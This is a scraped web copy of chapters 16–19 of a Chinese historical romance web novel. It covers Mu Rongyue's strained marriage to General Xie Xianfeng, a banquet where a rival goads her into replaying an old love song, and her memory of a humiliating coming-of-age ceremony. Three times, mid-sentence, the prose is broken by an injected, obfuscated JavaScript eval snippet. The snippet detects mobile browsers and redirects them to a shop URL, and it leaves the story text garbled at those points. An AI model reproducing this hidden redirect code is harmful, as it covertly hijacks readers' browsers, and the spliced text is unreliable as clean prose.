慕溶月这番话说得阴阳怪气,谢羡风微蹙起眉头,眉宇间已有明显的不悦。 “你想好了再说话。” “我是错了,可我罪不至此。”慕溶月却丝毫不管不顾他的威胁,扑过去反问,眸光闪烁,“谢羡风,你不爱我,又为什么不肯放我走?” “我是不爱你。”谢羡风薄唇抿紧,嗓音沉抑,一字一顿道,“可嫁给我,是你自己的选择。” 慕溶月一怔,喉头发紧,眼角也酸涩起来。 “可我后悔了,我想回头……” 谢羡风蓦然打断了她的呢喃,威迫一般质问她:“慕溶月,倘若你现在想清楚了,我们还可以相安无事。可如若你再任性妄为,便是将这层遮羞布揭开了。你还想不想要体面?” 慕溶月嗤笑一声。 “体面?你知不知道,在旁人眼中,我早就没有体面了。” 谢羡风只冷冷道:“明日同我回去,有什么话,日后再说。” 这样的话,她却是听过太多次了。 他从来不会真的在意她,与她讲道理。他只会等着她自己接受事实,消化情绪,最后,再捡起那块早已千疮百孔的所谓体面。 “我不会和你回临州的。”慕溶月摇了摇头道,“我的家在京城。” 言下之意,你那里已经不是我的家了。 她此话一出,谢羡风便知她还没有消气。 既然如此,他便知道好话是已经说不通了。那就晾到她消气为止,待她冷静下来了,再与她论长短。 “随你要回哪里。”谢羡风终是失去耐性地转过身,“你若想用此事来要挟我,便是想错了。” 慕溶月望着他大步离去的背影,苦笑着摇头。 终是不欢而散。 冰糖葫芦上甜腻的糖霜落在了指尖,慕溶月却早已失掉了胃口。 …… “谢谢你。” 回到宋景渊身边时,慕溶月忽地开口说了一声。 宋景渊始终在桥的另一边等着她,不急也不躁。见到她回来,也只是问道:“谢什么?” “谢谢你,没有问我他都说了什么。” 慕溶月退后了一步,正色敛容道:“天色不早了。我虽不是未出阁的女子,但和宋大人独自待久了,仍会有所不便。恕月儿先失陪了。” 宋景渊爽快地便点头了:“好,我叫车轿送你回去。” 16. 她在弹琴 国公府内。 温暖如春的厢房里,一个身段曼妙的女人正慵懒地倚靠在长椅上,她的青葱长指漫不经心地撩过红窗花纸,很快就剪折出了一朵牡丹的形状。 那牡丹高洁,却不及她的风情万种。双唇朱红,粉面桃花。满头的珠翠,衬得她更是华贵动人。 忽然,门口传来了女使行色匆匆的步伐声。符卿倏地挺直了腰身,烛光倒映在她的眸光里,灵动潋滟。 见到那女使前来回话,符卿眼底染上了几分喜色,甚至迫不及待地起身追问。 “可是表哥回来了?” 几日前,她意外得知宋景渊要在家中设除岁宴,便主动向母亲提议,要来与表哥一同过新年。 母亲同意了,宋景渊也自然没有异议。于是,她便出现在了这里。 只是,自从宋景渊派车将她接过来后,便让她安置在了这院子里。好几天了,也没来亲眼见她一面。她托人去问,回回都是一句话,忙于公务、无法脱身。 如今,可终于让她抓到了机会,见到宋景渊的车轿回了府。 可那女使却低着头,一副心虚的模样,犹犹豫豫道:“国公大人还在桃花楼里待客……” 符卿的脸色一下就变了。 “什么?你不是说,刚才回来的正是他的马车吗?” 女使踌躇再三,还是伏在符卿的耳边,说出了实情。 符卿瞬地瞪圆了双眼,竟是气得将那手边的铜镜砸在了地上,摔得四分五裂。 “你再说一遍!” 那女使被吓得双腿发软,当即便跪在了地上。 “奴婢不敢打诳语!奴婢亲眼见着国公大人的车轿停在了府门口,从里面下来的女人正是那谢将军的夫人慕氏,不会有错的。” 符卿的脸色瞬时很不好看:“慕溶月,她不是都嫁人了吗!她来这里作甚?” 女使只好怯声回答:“是因为,慕夫人也在国公大人的邀请名单上……” “表哥竟也请了她来。” 符卿紧锁眉头,猛地攥紧了手中的那朵红艳牡丹花,直到揉皱。 “表哥从来不让陌生女人坐他的车轿,除了我以外,她还是第一个!”符卿双目失神地跌坐在了床榻之上,“……这可是从来没有过的事。” “奴婢还打听到……”女使又补充了句,“那慕夫人傍晚姗姗出门,是因为国公大人专门设宴,为了招待她从京城远道而来,请的还是桃花楼的头牌歌姬伴舞……” 闻言,符卿更是震撼得无以复加。 这可是连她都没有过的待遇。 她虽然是宋景渊的表妹,和他有着自幼青梅竹马的情分。可,他也从来没有专程为她设宴款待过啊。 符卿一时恼羞成怒:“宋景渊,你竟敢这样对我!” 女使连忙解释道,“其实这……这也不能怪国公大人,毕竟远道是客!慕夫人是谢大将军的正妻,又是长公主的嫡女,身份尊贵。只是,唯一奇怪的是……那慕夫人似乎是与沈世子一同赴宴的。谢将军并没有出现。” 闻言,符卿一怔,神色也复杂了起来。 “谢羡风没来?” “正是呢。” 那沈子钰是慕溶月的母族亲戚暂且不算,可谢羡风没到又是怎么一回事? 在这种对外公开的设宴场合,夫妻二人同心一体,代表的是一家的门面,因此也大多是结伴而行,一般是不会出现娘子独自赴约,而夫君则缺席不在的情况。 除非……感情破裂了。 符卿是认识慕溶月的。从前在这些世家小姐里,慕溶月算是有头有脸的人物。所以,在替婚的那档子丑事闹出来时,她的名声也算是一落千丈,自此沦为了京中笑柄。 符卿至今仍记得那年慕溶月的及笄礼,她当着众宾客的面亲自为谢羡风弹了一曲亲创的《雀儿叹》,就这般将自己对情郎的心意宣之于众。 此举甚是大胆,自然闹了个轰轰烈烈,满城人尽皆知。 只是,真心若是交给了对的人,那便还能称一句不惧世俗、是洒脱真性情;可若是交付给了错的人,那便是一场盛大的自取其辱。 纸是包不住火的,最终,沈世子代谢羡风去莫家议亲的传闻也被传了开来。而慕溶月也彻底被流言反噬,成了这出戏里最可笑的丑角。 “既然爱那谢将军爱得死去活来的,就别再来勾缠国公爷了,真是不知廉耻!” 女使见符卿郁闷,便从旁劝道:“小姐,其实那慕夫人是怎么想的,不重要,重要的是,国公爷是怎么想的……” “慕溶月的琴技一直很有名,明天的除岁宴表哥请了许多贵客,此时叫她过来,定是想叫她伴乐。” 符卿沉思几许,心中已然有了对策,冷嗤一声,“我岂能容她把所有好处都占遍了,出尽风头!” …… 夜晚,无法入眠的还有另一人。 客栈楼内,清风撩开窗帐,月光映在谢羡风的灰氅之上,好似为他镀上了一层银边。 谢羡风跨坐在窗栏之上,望着永安夜景,独自给自己倒了一壶酒。 李衡夜半起夜,无意间路过谢羡风的房间,见到里面传来动静,便好奇地探出一个脑袋,迷迷糊糊之间见到他正倚靠在窗边出神,便问:“将军,已经寅时了,还不歇下么?” 谢羡风没有回答,而是自顾自地问:“陈太傅,明日是不是要去国公府的除岁宴?” “是啊。”李衡咕哝起来,“将军怎么忽然关心起这个了?” 谢羡风却定定道。 “明日不走了,我再多留一夜。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223820|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “将军你要去宋国公的除岁宴吗?”李衡揉了揉睡意惺忪的双眼,含糊道,“可是,宋国公又没邀请我们,况且,圣上只叫我们把人带到,没说要我们也去……” 他说到后面,突然没了声音,如梦初醒一般,醍醐灌顶地一拍脑门。 “将军可是想等夫……慕二娘子一同回去?” 谢羡风颇为不自然地挪开了目光。 “如你们所说,难得来一趟永安,我只是抽空逛一逛罢了。” “好吧,”李衡也没有与他辩驳,而是揉了揉睡眼,呵欠连天道,“那将军早些歇息吧,除岁宴在明日申时开始,可别睡过头了。” 一边忍不住腹诽,明明就是想等慕娘子一同回家,方才却还当着慕娘子的面,还说什么随你回哪里的大话……真是口是心非。 *** 谢羡风自然不会真的去除岁宴,他还没那么自讨没趣。 但他也没出门去逛街,而是独自在客栈里待坐了一整日,从天明到天黑。 坐在窗栏上,可以鸟瞰永安城的街景。新年将至,家家户户共贴桃符,走街串巷、贺喜拜年。街坊闹市也是锣鼓喧天,四处有人踩着爆竹舞狮,为来年祈福。 就连那不远处的国公府,也是一片灯火辉煌。 谢羡风身居高楼之上,形单影只,好似角落里蒙上的一层阴影,显得格外地突兀。 他一动不动地坐了许久。 也不是第一次在异乡过年了,为何今日感触尤其的多。 思来想去,大抵是因为一个人。 慕溶月。 这几日,他着实被她的事而影响了,变得心绪不宁。 虽晋为大将军一职后,他乔迁去了老将军留下的将军府。但平日里,他待的最多的地方还是军营。这么多年来,他早已习惯了独身的日子,走到哪里都是孑然一身。慕溶月的存在,对他来说不过是可有可无。 他原本是这么想的。 原本该是这样的。 可如今…… 似乎,哪里变了。 隔着街巷,远远地飘来了一缕琴声。 温润如水,凄婉连绵——犹如松风掠过山谷,又似山泉自幽谷蜿蜒流淌。 谢羡风四处遥望,寻找着琴音之源,发现那来自国公府的方向。 多年来在沙场上养成的精锐的听觉,让他很快便辨识出,那是慕溶月在弹琴。 她的琴技的确很好。这么多年来,他只听过一次慕溶月的琴艺。但偏偏是那么一回,让他彻底记住了慕溶月的琴声。 琴声依旧在流淌,直到一曲结束,演出落幕。 谢羡风的神色也逐渐沉郁了下去。 那日他主动开口,慕溶月却不愿弹奏的琴声,如今终是以这种方式再度听到了。 17. 挑刺 国公府内,灯火摇曳。 一曲毕,慕溶月轻按琴弦,起身致谢。 观礼席上纷纷响起喝彩之声。 “能亲耳听见慕夫人献唱一曲,真是不虚此行啊。” “这慕夫人的琴乐继承了宫廷国手齐大师的特色,悠扬悦耳,真是让人过目难忘。” “慕夫人真是个品貌非凡的才女……” 慕溶月则在众人的礼视之间缓缓抬起了头。她沐浴在掌声之中,享受着此刻的欣悦。 许久没有碰琴了,好在她还没有全然生疏。 凭着一曲荡气回肠的高山流水,她终于找回了些许从前的感觉。 那时候,她还没有嫁给谢羡风,她还不是那个背满骂名的痴缠之女。 她是慕溶月,是齐国师的关门弟子,是当朝长公主的爱女。人们还羡她,敬她。 杏雨守在台前,亲眼目睹了一切,也激动得说不出话来。方才在台上拨琴时,慕溶月专注而一丝不苟,弦音在她手下犹如珠落玉盘,而她是那般雅静、端庄,犹如一朵清素淡雅的出水芙蓉。杏雨就在这时恍然大悟,或许,是她误解宋国公大人了。 当年,宋国公大人曾将慕溶月比作荷花丛中的凌波仙子……她那时还笑说国公大人不够了解她家的小姐,如今看来,他那般作比,也并非全无道理。 台下,符卿坐在席间,眼见着宋景渊也望着慕溶月鼓起了掌,当下便醋意大发,闷酸地说:“这慕夫人可真厉害,满座皆是赞誉声。表哥可也是这般认为的?” 宋景渊淡淡地扫了她一眼,只道:“慕二娘子的琴艺素来有名,这你是知道的。” 说完,又不紧不慢地补充了句,“若你也想学,可以去请教一二。我愿为你牵线。” 符卿窘得满脸赤红,半天才憋出一句。 “我……我又不喜欢弹琴!” 符卿坐回了位上,心里却仍是忿忿不平,“她今日弹的那琴,是你去市场高价为她定制的吧。表哥,你当真就对她这般好。” 宋景渊道:“她是长公主的贵女,我自然要以礼相待。” 符卿很想顺势而问“那我呢?”,可话在嘴边盘旋半天,终是说不出口。 思来想去,符卿也咽不下这口气,于是擒着酒杯站了起来,面上笑吟吟的,却是将话锋猛地对准了台上的慕溶月。 “慕夫人的琴艺真是无与伦比,我听完仍觉不过瘾,还想着要再来一曲呢——大家意下如何?” 她一起哄,四座的宾客也跟着附和起来。 “的确意犹未尽哪。” “若能再来一曲便是最好了……” 慕溶月循声望去,目光和符卿撞上。她见符卿有些眼生,但看到她坐在宋景渊的身边,也依稀猜出了她便是宋景渊母家的那位未出阁的表妹。 既是宋景渊的亲戚,那她便也没有理由推脱了。 “好,小娘子想听哪一曲?” 符卿也没同她客气,开门见山道:“我早就听闻,慕夫人有一首原创的曲子,叫做《雀儿叹》的,曲风甚是独特。早就想一饱耳福了——不知道慕夫人今天有没有这个雅兴,实现我的心愿呢?” 闻言,慕溶月暗自一颤,竟是僵住了。 “怎么,慕夫人一声不吭,莫不是露了怯?”符卿见状,便更是放肆地笑谑道,“也难怪,毕竟这曲子夫人已四年都没弹过了,难免手生。” 话音一落,席上议论声四起。 “四年未弹的曲子?是什么?” “难道是……” “我想起来了,是不是四年前慕夫人及笄礼时弹的那首曲子?” 随着众人的交头接耳,慕溶月立于其间,脸色也愈来愈难看。 台下的杏雨急得心都悬了起来,“小姐……” 她一面暗自祈祷,一面求助地望向了座中的沈子钰。 下一秒,沈子钰便站了起来,直直地盯着符卿,言辞之间尽是对慕溶月的维护:“我倒认为,不如请慕娘子弹奏一曲《春江花月夜》,也更合时应景一些。” “《春江花月夜》是前朝的名曲,早被无数名人志士弹过千万遍了。可唯有这《雀儿叹》,只有慕夫人能够弹得出来。如此,方能体现慕夫人的琴技卓绝超群,不是吗?”符卿却从容不迫地嗤笑着,扭头看向了慕溶月,却是来者不善地反问道,“慕夫人,你觉得呢?” 慕溶月始终没有作声。 她垂眸,见到自己轻扣于琴弦上的指尖正在颤抖。 《雀儿叹》,那是她为谢羡风所作的曲子。 她曾在自己的笄礼上亲自将这首曲子弹给了谢羡风,落落大方地献上她对他的心意。 可最后得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14234002|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的,却只是一番羞辱。 此情此景,何曾熟悉。 符卿如今旧事重提,便是要在众人面前,揭开她的伤疤,叫她难堪。 慕溶月闭上双眼,惊惧的感觉如潮涌袭来。 仿佛再度置身于笄礼那天的场景,她站在台上,面对底下黑压压的人脸,茫然无措。 她再次成了被凝视的,被审判的。 耳畔尽是那不堪入耳的指点声,她便是在这些众口铄金的流言蜚语之中,渐渐迷失了自我。 慕溶月再度睁开了眼。 她本可以对符卿的这番挑衅置之不理,她已完成了宋景渊今日派下的任务。她的琴技在众人心中的份量,也并不会因为某一首曲子而改变。 可如若如此,她又要逃避到何时去呢? 难道要让这根刺扎在心上一辈子? 慕溶月这时才终于醒悟,原来,光是与谢羡风和离,是不够的。 那些懊悔、耻辱,深夜浸湿枕巾的泪水……都会无孔不入地渗透进她余生,无时不刻提醒着她,她逃不掉,也不可能逃掉。 纵使离开了谢羡风,她所做过的事、犯过的错,也都会变成她白衣上的一个又一个污点,一道永远挥之不去的阴霾。 能救她的,唯有她自己。 “好。”慕溶月遽然与符卿对视,道,“我可以弹给你听。” 符卿微微一挑眉,没想到她竟然真的敢接招。 也好。 就看她如何表演。 慕溶月端正地坐下,轻撩筝弦。霎那间,琴音潺潺,抑扬顿挫,如泣如诉。 竟是挑不出一丝的破绽来。 直到一曲结束,慕溶月神色稳重地敛裙起身,台下的沈子钰才终于松了一口气。宋景渊见他这般焦心,微皱眉头问:“沈兄,你如此紧张作甚?” 沈子钰叹道:“景渊,你有所不知,那首《雀儿叹》,其实是……” 慕溶月起身致谢,台下掌声依旧。符卿也调整好心绪,随之站了起来,主动敬了一杯酒。笑道:“不愧是慕夫人,听慕夫人的琴声,真是好一番享受。” 说着,她话音一转,当着众人的面,明目张胆地继续对着慕溶月发难:“不过,细细听来,这曲子婉转缱绻,确有几分缠绵悱恻的情意,敢问慕夫人,这曲子是夫人为谁而作的呀?” 18. 及笄礼 符卿这是明知故问,本想顺势挑起慕溶月的伤心事,再讥诮奚落她一番。 她本以为,慕溶月会心虚,或是窘迫难当,或是恼羞成怒……她便有千万种法子,来让她无地自容。 却不承想,慕溶月的反应很平静。 她安之若素,反倒是实诚地应了下来: “娘子猜得不错。这首曲子,的确是我多年前为我的夫君所作的。” 说着,她又起身,款款走到了琴前。 “只是,时过境迁,物是人非,人的心境也总是千变万化。三年过去了,我再也弹不出从前少女情窦初开的青涩了。” 最后,慕溶月面不改色道:“既然往事不可追,那么,就让这首曲子自此尘封,留于岁月长河吧。” 此举,便是宣布自此再也不会重弹这首《雀儿叹》,也彻底杜绝了外人再旧事重提的可能。 一时间,四座哗然。 众人好似被勾起了陈旧的记忆,低声窃语起来。个别不明情况的人还在问,“慕娘子的夫君,可是谢将军?说起来,他今日怎么没在宴席上?” “慕娘子方才说时过境迁,物是人非……难道传言将军婚变一事,是真的?” 众人议论纷纷间,慕溶月却站了起来,从容不迫地欠身,行了一个礼。 “很荣幸能为各位贵客献唱一曲,我的演出到这里就结束了。” 她的神色镇定,眉眼温和,心静而声淡,气质却流露出一丝坚韧的力量。 最后,席位中央的陈太傅客观地评道:“单论曲技,这首百转千回的《雀儿叹》的确是佳品。今日我能一睹慕夫人的绝唱,也是一种幸运哪。” 他的话掷地有声,极具分量,犹如一锤定音地将此事定了性,观礼席间,舆论开始倾倒。众宾客也纷纷附和起来,将话题逐渐转向了慕溶月的琴技之上,关于探讨她婚姻状况的八卦之论也逐渐地被淹没在了人海里。 这完全不是符卿想要的效果,符卿气急败坏,满腹委屈涨得脸都红了,却偏偏又拿她无可奈何。 *** 国公府的走廊下,寂静无声的荷花池旁。 慕溶月神色不变地往厢房走去,杏雨则背着琴跟在她身后。待到周围人都陆续散去,她忽而踉跄地扶着桥头,双腿发软,颓然地瘫倒在地。 她的手心至今仍止不住地发颤,是心有余悸。 “小姐,小姐……”杏雨心疼地搀扶着她的肩头,“奴婢扶您去那亭子里坐一会儿罢!” 慕溶月扶着胸口,刚走出两步,视线之中忽而多了一双深色的鞋靴。 “看来,某人并没有看上去的那般洒脱。” 慕溶月抬起视线来,对上了宋景渊那闪烁的双眸,“方才你在宴席上的表现那样淡然,险些把我也骗到了。” 慕溶月牵起嘴角,是苦涩的笑:“宋国公说笑了。” 宋景渊朝她靠近了两步,两人一同往亭阁内走去。 “主动撕开伤疤,往上撒盐——会好得更快一些吗?” “或许吧。” “你又何必这样自残。” 见宋景渊一脸不甚理解的模样,杏雨实在忍不住插嘴,打断了他的话。在她眼里,宋景渊只不过是站着说话不腰疼。 “国公大人,你不知晓内情,就不要苛责小姐了。当年的事,已经是小姐心中的一道坎……” 宋景渊停顿了许久,无声地上前,和杏雨一同将慕溶月扶到了石椅上。 见慕溶月脸色恢复了几分,他才缓缓地开口。 “那天,到底发生什么了?” 慕溶月苦笑了一下。 “宋大人,你可曾尝过,所有人都在暗中看你的笑话,却唯独你被蒙蔽,一无所知的滋味?” “有时做梦……我都会梦回那天的场景。每每惊醒,身后总是被冷汗浸透。” 一切的噩梦,都源于那场的笄礼。 四年前,谢羡风因护主有功被圣上提拔,她便想着,为他送些什么以表庆贺。 偶然间听说,民间男子会以缠绵悱恻的情诗来向心爱之人表露心意。 她不会作诗,但会抚琴。 于是,她决定在自己不久后的笄礼上,当众向谢羡风献奏一曲。 这是一个大胆的决定。她也曾犹豫露怯过,但最终,致使她坚持下来的念头,只有一个。 她想借着这次机会,让他看见真正的她,不一样的她。也想叫他看清她的真心,明白她对他的情谊,并不是一时兴起。 她以为,如此一来,他也会被她的真情而打动的。 那时的慕溶月,满心都是憧憬与浓情蜜意。少女的心意纯洁而烂漫,是青涩又懵懂的悸动。 为了准备及笄礼上的演出,她不分昼夜反复地练习琴筝,每一个小调都反复品味琢磨,只为了呈现出更好的效果。 甚至在临上台前,她都拉着杏雨来回听了两三遍,确保无虞。 “杏雨,你觉得,他会喜欢我的曲子么?”慕溶月坐在筝旁,微微一笑,痴迷地撩动着琴弦,“你会不会觉得我很傻?可是,我只是觉得……他很值得。” 杏雨只是笑着附和:“旁人都说,谢大人不近女色,身边从未有过女人。小姐貌若天仙、才学过人,加上这般热烈的攻势,这世间的哪个男子,能忍得住不对小姐动心呢?换做谢大人,也是定然招架不住的!” 一听到这句话,慕溶月便呼吸加促,红极了脸,就连指尖不小心弹错了一个音节也没注意。 “杏雨,你莫要再哄我了。”她失笑地继续按在琴弦上,“就赏你再听我弹奏一曲吧。” 及笄礼的那天,来了许多贵客。公主府金碧辉煌,一片气派之景。沈惠心更是拨下万两黄金请全京城的百姓喝酒,与民同乐。镇国大将军慕昭元亲自登台致辞:“感谢各位宾朋佳客聚集于此,观赏小女溶月行成人笄礼。下面,小女溶月的笄礼正式开始!” 在一片掌声的簇拥下,从幕帐后走来了一位袅袅婷婷的窈窕女子。慕溶月一袭霓裳羽衣出场,梅花妆,点绛唇,眉目如画,顾盼生辉。宾客无不惊艳地赞叹出声。 慕溶月款款行至场地中,向观礼宾客行揖礼,继而端正地跪坐在笄者席上,顺从地举起一把木梳,望向沈惠心:“母亲,请为月儿篦头吧。” 沈惠心唇边带着满面春风的笑,是家有小女初长成的欣悦。她以盥洗手,拭干。旁边的赞者奉上罗帕和发笄,沈惠心便开始为女儿吟诵祝词。 “令月吉日,始加元服。弃尔幼志,顺尔成德。寿考惟祺,介尔景福。” 语毕,沈惠心开始为慕溶月簪笄。她将慕溶月的发辫盘至头顶,将头发绾成一个髻,再簪上了凤冠。 最后,慕溶月盈盈起身,面向父母亲,行正规拜礼。 礼毕,慕溶月再度朝向观礼席。 “诸位贵宾今日能在百忙之中抽空赴月儿的笄礼,月儿感激不尽。由此弹唱一首《雀儿叹》,纪念这如此珍贵的时刻。” 话音落下,杏雨便命人将云筝抬了上来。在众宾客期许的目光中,慕溶月郑重落座,抬起青葱玉手。 纤纤玉指跃然于琴弦之间,云筝弦乐悠扬飘散,声声入耳,犹如珠圆玉润,余音绕梁,久久不散。 良久,一曲毕,慕溶月雀跃地抬起眼来。 宾客们纷纷喝彩,送上了发自肺腑的赞扬。 “多谢大家捧场。” 慕溶月挥动长指,顿在琴弦之上。她起身鞠了一躬,笑容可掬。 “这首曲子是我日思夜想,亲自谱写的作品——在此,我想将它送给一个人。” 话音落下,观礼席的宾客们不禁窃窃私语,猜测她话中的男子究竟是何人。 其实,无人知晓,那时她的手心都起了一层薄汗,紧张地屏住了呼吸。 “他是我见过最独特的男子。他总是不卑不亢、宠辱不惊。他很好,自己却不知道。” 那时,慕溶月仍然沉浸在情窦初开、小鹿乱撞的羞赧之中,浑然不知,自己即将步步落入万丈深渊。 最后,她鼓足勇气,面对泱泱众人,青涩地说: “而我,现在便想邀请他上台,来到我的身边。” 说完,她红着脸颊望向了底下的谢羡风。 “阿羡”二字还未脱口,那一瞬,两人的目光相对,一切尽在不言之中。 谢羡风瞬地僵在了原地,那脸上的表情,慕溶月一辈子也无法忘怀。 那紧皱的眉心,是呼之欲出的“厌嫌”二字。从始至终,他都未曾对她有过一丝的动容。一分一毫都没有。 不等慕溶月反应,谢羡风便猛地起身,竟在众目睽睽之下,冷漠地大步离去。 他走得决绝,头也不曾回过。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“莫家上下十几口人,包括我的表哥,他们都知道谢羡风真正爱的人是莫盈儿——却没有一个人肯告诉我。他们暗地里笑话我是一厢情愿,怎样难听的话都有。最后,只有我被蒙在鼓里,成了真正的傻子。” 及笄礼的最后,慕溶月孤零零地站在台上。 渐渐地,她变得听不清那些质疑的声音,而只是麻木呆滞地望着谢羡风离去的方向,那里已经没有了人影。 他真的走了。 惊慌失措,很快便被透骨酸心的失落取而代之。 慕溶月感到手心的温热在逐渐冷却,最后只剩下空洞的心,在呜呜地灌着冷风。 “旁人总以为,我是自取其咎。他们说若不是我当年强取豪夺,将谢羡风生生抢来——便也不至于沦落至此。”慕溶月啼笑皆非,是狼狈地后退一步,抓住了石柱,“可倘若我知晓如今的结果,我当初便绝不会应允莫盈儿叫我替婚的请求。” 这场笄礼,也成了这场荒唐噩梦的开始。 在莫盈儿面前,她将自己对谢羡风的心意公之于众。也正因如此,他便认定了是她在向莫盈儿施压。 所有人都以为她是那强硬专断的第三者。 她无从辩解。 就好像,他们都只看见了她的外壳,她的身份——却看不见她自己。 也没有人在意她自己究竟是怎么想的。 罪名一旦扣上,便摘不下来了。 自此,那笄礼便成了慕溶月的心魔。不仅仅是因为谢羡风的绝情,更是因为她从此认清了自己的孤立无援。 哪怕,后来过去了很多年,她才终于得知了真相。 可自从那一刻起,她便不知道该如何同身边的人重建信任了。有很长的一段时间里,她不知道该以何种面目示人,她变得怯弱、敏感,这才躲避着父母的问候,明知沈子钰日日都在关心着她,她却也冷了心躲着不见。 很久很久的日子里,她无人诉苦,也无人能够理解她。 没有人愿意站在她的身边,帮她说话。 有时,慕溶月也会情不自禁地想,倘若谢羡风能够信她三分,早些向她坦白他已心有所属,或许,他们的结局也将大不相同吧。 只可惜,他们之间,不会有如果。 19. 莫盈儿 笄礼结束后,慕溶月大病了一场。那日的事对她打击极大,自笄礼后,她便再也没有出过房门,日益憔悴,久便拖成了心病。 而沈惠心也索性将她禁足在了家中,责命她好生反省。 当初,沈惠心得知女儿喜欢的人不过是沈子钰身旁的那个小侍卫时,她曾严厉反对二人继续交往。慕溶月却一意孤行,始终从旁劝阻,软磨硬泡。偏偏沈惠心又是个耳根子软的女儿奴,慕溶月说几句好话,她就心软了,最后才点头同意观察谢羡风的表现,再考虑要不要让他做自己的女婿。 结果,就因为这一场及笄礼,眼睁睁地看着女儿受了委屈,沈惠心气得不行,甚至放出狠话,扬言要谢羡风从今往后都别想在京城立足了。 这话自然是过了头,慕昭元便出来当那个和稀泥的和事佬:“夫人莫要气坏了身子,我已经派人打听过了,那姓谢的浑小子脾性向来是很古怪的,不过,人的本质倒不坏,我是觉得,或许是其间有什么误会也说不定。” 沈惠心却是强硬地拍了板。 “不行。此事没有商量,我已经决定了,要让月儿嫁给宋国公。” “——什么?” 这话终究是传到了慕溶月耳朵里。她不可思议地睁大双眼,竟是不敢相信。 那时的慕溶月,不过才与宋景渊见过三次面而已。 沈惠心心意已决,却由不得她争辩:“宋国公是个好孩子,至少,比那竖子要有担当得多。嫁给他,不说平安顺遂,至少能保你的衣食无忧。” “可是母亲,母亲……” 慕溶月还想解释些什么,沈惠心却已经失去了耐心,索性让丫鬟强行扭送她回了屋。 门闩合上之后,她便是彻底被禁了足。慕溶月颓败地倚靠在门框上,“怎么会变成这样……” 杏雨担心慕溶月又想不开,连忙上前安抚:“小姐,咱们以不变应万变吧,夫人总不至于如此狠心,待夫人冷静下来后,我们再静观其变。” 慕溶月没再吭声,只是默默地来到了琴边,坐下,轻抚乐弦。 她的琴声哀怨而绵长,好似在宣泄着心中的郁结与不满。 其实,她并不是觉得宋国公不好。相反,宋国公仪表堂堂,家世显赫,与她可谓门当户对,或许,的确是一个适宜的结婚对象。 可是,她终究不了解宋国公的脾性,也不清楚他的为人,她不想就这样像被挑白菜一样许给一个素昧平生的陌生男人。 就这样僵持了数日。这一天,门外忽然有了一丝动静,是小厮在喊门。 “小姐,有客到访。” 慕溶月心中还在置气,只郁郁不满地说:“如果是宋国公,就说我病了,不宜待客。” 那小厮却说:“大人,是莫家的三娘子,莫盈儿。” “盈儿妹妹?”慕溶月愣怔片刻,欣然起身,“她怎的来了?” 莫盈儿,她是认识的。两人先前因为宴会打过几次照面。不过,在那天以前,慕溶月对莫盈儿的印象并不深,只知晓她是莫少卿的外室所生的庶女,在莫府受尽排挤。她同情她的身世,所以便暗中照拂了她几回。一来二去,两人竟慢慢地熟络了起来。 被禁足总是怨闷的,但有人愿来探望她,也算能有一丝慰藉。慕溶月打开门,发现莫盈儿正手持一盒甜糕,笑意盎然地站在门口。 “姐姐。” 慕溶月已经把她当成了朋友,但莫盈儿心里还顾及着二人身份的差距,方方面面的礼仪都十分周到。 “快进来坐吧,”慕溶月将她迎进了门,“盈妹妹,你怎么来了?” 杏雨为二人准备了茶水和瓜果,慕溶月便热情地将莫盈儿拉拢坐下。 莫盈儿将手中的糕点盒放在了茶几上,“我给姐姐带了一盒点心,是素芳斋新出的样式。希望姐姐喜欢。听说姐姐病了,早就想来探望。” 慕溶月目光黯淡,哀叹了一声,“谢谢妹妹对我的关心。我的病,不过是心症罢了。” 莫盈儿便追问,“姐姐,可是有什么心事?我愿为姐姐分忧。” “我的母亲,她为我定了一门亲事,是和宋国公的。” “亲事?”莫盈儿神色明显地一僵,随后又恢复如常,“早就听闻宋国公才貌皆是出类拔萃,立下赫赫之功,是如今圣上面前的肱股之臣。姐姐若能和国公爷结为姻亲,那……那不是极好的事么?” “你也这般认为么?”闻言,慕溶月的面色很快便写满了失落,“可是,我总共也不过与他见了三次面,还不知晓他的为人、他的喜好。母后却叫我与他厮守终身……我怎能做到?” 莫盈儿哑然失笑,轻声柔语地劝导起了她来。 “姐姐,婚姻之事,向来都是父母之命、媒妁之言。我有一个堂姐,她也是只与未婚夫见过两次面便定下了终身。尤其是像姐姐这般官家的女儿,门当户对,总比情投意合要来得重要得多的。” 慕溶月却心有不甘,摇了摇头。 “可向来如此,便是对的么?我偏不想这样过活。” 说完,她又像是有片刻的狐疑,反过来问:“妹妹,你会不会觉得我很幼稚?” 说着说着,莫盈儿郑重地摇首,忽地禁不住潸然泪下起来。 “不,其实,我很能理解你,姐姐。” “好端端的,怎么忽然哭了?” 杏雨拿来手帕,慕溶月便亲自为她擦拭泪珠。莫盈儿哭得梨花带雨,脸颊都湿了半边,看上去可怜极了。 “其实,我……” 她几番欲言又止,像是有口难开。慕溶月很快便反应了过来。 “你也被父母指婚了,是不是?” 